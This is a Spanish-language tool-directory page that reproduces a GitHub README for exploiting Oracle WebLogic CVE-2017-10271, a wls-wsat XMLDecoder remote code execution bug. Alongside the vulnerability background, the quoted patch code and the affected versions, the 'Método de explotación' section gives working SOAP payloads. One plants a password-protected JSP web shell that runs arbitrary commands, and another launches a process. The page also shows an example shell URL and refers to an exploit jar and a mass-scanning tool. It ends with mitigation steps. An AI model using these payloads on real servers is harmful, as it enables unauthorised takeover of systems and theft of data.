Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Oracle-WebLogic-CVE-2017-10271 — Autor original: Bearcat@secfree.com | Kitploit
Herramientas/GitHubGitHub/xhsecurity/oracle-weblogic-cve-2017-10271
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónComando y ControlHerramienta de Acceso Remoto
GitHubxhsecurity/oracle-weblogic-cve-2017-10271

Oracle-WebLogic-CVE-2017-10271

Autor original: [email protected]

Ver Repositorio
122hace 2 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

WebLogic Wls-wsat XMLDecoder

Descripción de la vulnerabilidad

mitre:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-3506

Anteriormente, los hackers aprovecharon la vulnerabilidad del componente WLS de WebLogic para lanzar ataques remotos a gran escala contra servidores empresariales. Gran cantidad de servidores de empresas fueron comprometidos, y el número de empresas atacadas mostraba una tendencia claramente ascendente, por lo que se debe prestar gran atención. Entre ellos, CVE-2017-3506 es una vulnerabilidad de ejecución remota de código que explota el componente WLS en Oracle WebLogic. Es una vulnerabilidad explotada en la naturaleza sin detalles públicos, y muchas empresas aún no han instalado el parche a tiempo. El fabricante publicó el parche para esta vulnerabilidad en abril de 2017.

Nota sobre el parche CVE-2017-3506:

root@kitploit:~
public WorkContextXmlInputAdapter(InputStream is)
  {
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    try
    {
      int next = 0;
      next = is.read();
      while (next != -1)
      {
        baos.write(next);
        next = is.read();
      }
    }
    catch (Exception e)
    {
      throw new IllegalStateException("Failed to get data from input stream", e);
    }
    validate(new ByteArrayInputStream(baos.toByteArray()));
    this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray()));
  }
  
  private void validate(InputStream is)
  {
    WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
    try
    {
      SAXParser parser = factory.newSAXParser();
      parser.parse(is, new DefaultHandler()
      {
        public void startElement(String uri, String localName, String qName, Attributes attributes)
          throws SAXException
        {
          if (qName.equalsIgnoreCase("object")) {
            throw new IllegalStateException("Invalid context type: object");
          }
        }
      });
    }
    catch (ParserConfigurationException e)
    {
      throw new IllegalStateException("Parser Exception", e);
    }
    catch (SAXException e)
    {
      throw new IllegalStateException("Parser Exception", e);
    }
    catch (IOException e)
    {
      throw new IllegalStateException("Parser Exception", e);
    }
  }

Simplemente se añadió una función validate antes de la deserialización; si qName es igual a object, se lanza una excepción y se detiene. Se puede decir que es simple y contundente; sin embargo, este tipo de reparación mediante listas negras difícilmente pueda corregirse por completo. Es digno de reflexión...

El método de explotación de esta vulnerabilidad es relativamente sencillo; el atacante solo necesita enviar una solicitud HTTP especialmente diseñada para obtener los permisos del servidor objetivo, con un gran impacto. Dado que la vulnerabilidad es relativamente reciente, todavía existen muchos hosts que no han actualizado los parches correspondientes. Se prevé que tras este incidente, probablemente se produzca un aumento brusco en el número de ataques y que una gran cantidad de nuevos hosts se vean comprometidos.

El parche oficial de Oracle de abril no corrigió por completo la vulnerabilidad CVE-2017-3506; es posible omitir el parche y seguir ejecutando comandos remotos. La vulnerabilidad de omisión actual de CVE-2017-10271 se corrigió en el parche oficial publicado en octubre.

Identificador de la vulnerabilidad

CVE-2017-10271 (vulnerabilidad de omisión de ejecución remota de comandos en wls-wsat)

Versiones afectadas

Oracle WebLogic Server versión 10.3.6.0.0

Oracle WebLogic Server versión 12.1.3.0.0

Oracle WebLogic Server versión 12.2.1.1.0

Oracle WebLogic Server versión 12.2.1.2.0

Lista de directorios de wls-wsat

root@kitploit:~
/wls-wsat/CoordinatorPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/ParticipantPortType
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/RegistrationRequesterPortType11

Método de explotación

PoC:

CmdShell
root@kitploit:~
Content-Type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string><void method="println"><string><![CDATA[<%   if("secfree".equals(request.getParameter("password"))){  
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("command")).getInputStream();  
        int a = -1;  
        byte[] b = new byte[2048];  
        out.print("<pre>");  
        while((a=in.read(b))!=-1){  
            out.println(new String(b));  
        }  
        out.print("</pre>");  
    } %>]]></string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>
root@kitploit:~
![exploit](https://raw.githubusercontent.com/iBearcat/Oracle-WebLogic-CVE-2017-10271/master/img/1.jpg)

exploit

CmdShell: http://www.xxx.com/bea_wls_internal/test.jsp?password=secfree&command=whoami

root@kitploit:~
![exploit](https://raw.githubusercontent.com/iBearcat/Oracle-WebLogic-CVE-2017-10271/master/img/2.jpg)

exploit

Ejecutar comandos
root@kitploit:~
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> 
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> 
            <java version="1.6.0" class="java.beans.XMLDecoder">
                <object class="java.lang.ProcessBuilder"> 
                    <array class="java.lang.String" length="1">
                       <void index="0">
                        <string>calc</string>
                    </void>
                    </array>
                <void method="start"/> 
                </object>
            </java> 
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/> 
</soapenv:Envelope>
root@kitploit:~
![exploit](https://raw.githubusercontent.com/iBearcat/Oracle-WebLogic-CVE-2017-10271/master/img/3.jpg)

exploit

Usar Exp para obtener un CmdShell

WebLogic_Wls-Wsat_RCE_Exp.jar
root@kitploit:~
![exploit](https://raw.githubusercontent.com/iBearcat/Oracle-WebLogic-CVE-2017-10271/master/img/4.jpg)

exploit

Detección masiva de activos

WebLogic-Wls-wsat-XMLDecoder
root@kitploit:~
![exploit](https://raw.githubusercontent.com/iBearcat/Oracle-WebLogic-CVE-2017-10271/master/img/5.jpg)
![exploit](https://raw.githubusercontent.com/iBearcat/Oracle-WebLogic-CVE-2017-10271/master/img/6.jpg?raw=true)

exploit exploit

Recomendaciones de mitigación

  1. Aplicar el parche de Oracle de octubre.

http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html https://lipeng1943.com/download/weblogic_patch-catalog_25504.zip

  1. Controlar el acceso a los recursos de wls-wsat.

  2. Solución temporal

    Sin afectar el negocio, según la ruta del entorno real, elimine los siguientes paquetes war y directorios del programa WebLogic.

root@kitploit:~
rm -f/home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
rm -f/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
rm -rf/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat

Después de reiniciar el servicio o el sistema WebLogic, confirme si la visita al siguiente enlace devuelve 404:

http://ip:port/wls-wsat/CoordinatorPortType11

Descargar herramienta